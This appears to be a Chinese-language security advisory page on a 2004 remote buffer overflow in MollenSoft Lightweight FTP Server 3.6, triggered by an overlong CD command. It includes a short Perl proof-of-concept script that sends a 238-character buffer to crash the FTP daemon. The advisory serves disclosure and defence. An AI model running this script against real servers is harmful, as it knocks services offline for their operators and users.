首页 -> 安全研究

安全研究

安全漏洞
MollenSoft Lightweight FTP Server远程缓冲区溢出漏洞

发布日期:2004-05-28
更新日期:2004-06-02

受影响系统:
Mollensoft Software Lightweight FTP Server 3.6
描述:
BUGTRAQ  ID: 10429

MollenSoft Lightweight FTP Server是一款小型FTP服务程序。

Lightweight FTP服务程序对CD命令参数缺少充分边界检查,远程攻击者可以利用这个漏洞对FTP进行缓冲区溢出攻击,可能以进程权限执行任意指令。

提交包含超长字符串的CD命令,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。

<*来源:Chintan Trivedi (chesschintan@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108577846011604&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Chintan Trivedi (chesschintan@hotmail.com)提供了如下测试方法:

# C:\Active Perl\perl
# POC for mollensoft ftp server 3.6
# Will crash the deamon

use IO::Socket::INET;

$host = "localhost";
$port = 21;
$buffer = "A" x 238;

$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

print $socket "USER root\r\n";
$socket->recv($test,100);
print $test;

print $socket "PASS password\r\n";
$socket->recv($test,100);
print $test;

print $socket "CD $buffer\r\n";
$socket->recv($test,100);
print $test;

close($socket);

建议:
厂商补丁:

Mollensoft Software
-------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mollensoft.com

浏览次数:3612
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障